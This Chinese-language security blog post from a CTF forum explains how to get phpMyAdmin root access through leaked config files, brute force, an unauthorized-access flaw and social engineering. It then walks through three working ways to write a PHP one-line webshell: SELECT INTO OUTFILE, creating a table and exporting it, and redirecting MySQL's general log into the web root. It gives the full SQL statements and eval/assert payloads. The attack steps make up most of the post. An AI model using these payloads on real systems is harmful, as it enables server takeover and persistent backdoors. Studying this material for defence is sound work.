技术分享丨phpMyAdmin 常见写入webshell的方法

  XCTF联赛小秘       2020-09-18 09:19:51 963  0

天虞实验室正式成立于2020年6月,是赛宁网安旗下以攻防技术研究为目标的安全团队,目前拥有20位专业的安全研究员,专注于渗透测试、安全开发、IOT安全、工控安全等方面。


一. 什么是phpMyAdmin

phpMyAdmin 是众多 MySQL图形化管理工具中使用最为广泛的一种,是一款使用PHP 开发的基于B/S模式的 MySQL 客户端软件,该工具是基于 Web 跨平台的管理程序,并且支持简体中文,用户可以在官网上下载最新版本的。

phpMyAdmin 为Web 开发人员提供了类似 Access,SQL Server 的图形化数据库操作界面,通过该管理工具可以对 MySQL 进行各种操作,如何创建数据库,数据表和生成 MySQL 数据库脚本文件等。


二. 如何获取MySQL root账号密码


有以下几种方法获取:

1. 源代码泄露:
在现在一些网站使用的CMS系统中,对config.inc.php 及 config等数据库配置文件进行编辑时,有可能会产生 bak文件,这个文件可以直接读取或者下载。部分安装phpMyAdmin的服务器的网站往往存在目录遍历漏洞,通过目录遍历,通过下载源代码等打包的一些文件,查看这些打包文件或泄露的代码可以获取网站源代码中的数据库配置文件的信息,从而获取到root的账户和密码。

2. 暴力破解:
我们可以使用一些暴力破解的工具对 phpMyAdmin 的密码进行暴力破解,我在此列出一些暴力破解工具:nmap暴力破解数据库用户名和密码脚本、msf的爆破模块、Burp的爆破功能、phpMyAdmin暴力破解工具。当然爆破这个技术离不开一个强大的字典,所以我们在平时还是要去搜集一些字典还是很有必要的。

3. 爆出的 phpMyAdmin 未授权访问漏洞
像之前宝塔爆出的 phpMyAdmin 漏洞,用户可以通过访问 http://www.xxx.com:888/pma , 直接以 root 的用户登录 phpMyAdmin 管理页面。

4. 通过文件包含漏洞读取配置文件中的数据库账号和密码
5.  其他方式获取:
通过一些社工的手段去获取数据库的用户名和密码。



一. phpMyAdmin写入webshell的方法


在我们成功的获取到了MySQL 的账户和密码,并且登录到 phpMyAdmin 管理界面之后,如何写入一句话木马,得到一个命令执行的环境,达到控制网站服务器的目的。

有以下几种方法写入Webshell:

(一)、select into outfile 语句直接写入Webshell:

1. 利用条件:
l Root数据库用户(root权限)
l secure_file_priv没有具体值
l 网站绝对路径(确定有写入权限)

2. 操作步骤:
1)查看有没有配置 secure_file_priv 功能:

secure_file_priv的参数为NULL,表示限制mysql不允许导入导出,如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;没有具体值时,表示不对mysqld 的导入导出做限制。



2) 当通过页面报错、phpinfo等手段获取到网站服务器的根路径时,可以直接使用
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpstudy_pro/WWW/test.php'

直接蚁剑连接我们通过sql语句写入的一句话,测试是否成功:


(二)、创建数据库和表写入webshell:
1. 利用条件:
l Root数据库用户(root权限)
l 网站绝对路径(确定有写入权限)
l secure_file_priv没有具体值

2. 操作步骤:
1)执行下面的sql语句,创建表并在表中写入一句话木马,在导出到网站的根路径。
    CREATE TABLE test( id text(500) not null);    INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    SELECT id FROM test INTO OUTFILE 'E:/phpstudy_pro/WWW/1.php'    DROP TABLE IF EXISTS test

2)直接蚁剑连接我们通过sql语句写入的一句话,测试是否成功,在网站目录下文件也对应生成:



(三)、开启全局日志getshell:
1. 利用条件:
l Root数据库用户(root权限)
l 网站绝对路径(确定有写入权限)
l secure_file_priv没有具体值

2. 操作步骤:
1)查看MySQL 全局日志的配置:
show variables like '%general%';

如果general_log的值为OFF,那么日志就没有被记录进去,通过下面的语句开启全局日志:
set global general_log = on;


2)设置日志目录的地址为网站服务器绝对路径下的生成的一句话木马文件,
set global general_log_file = 'E:/phpstudy_pro/WWW/1.php'


3)执行以下
select '<?php assert($_POST["admin"]);?>';



4)此时我们到网站的根路径下查看生成一句话木马,并通过蚁剑测试成功连接


到这里就完成了前半部分的

通过select into outfile 语句、

创建数据库和表、全局日志写入webshell

下一篇会为大家带来

通过慢查询日志、CVE-2018-12613 、

CVE-2018-19968 phpmyadmin文件

包含写入webshell

敬请期待


请先登录
+1 已点过赞
0
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (0)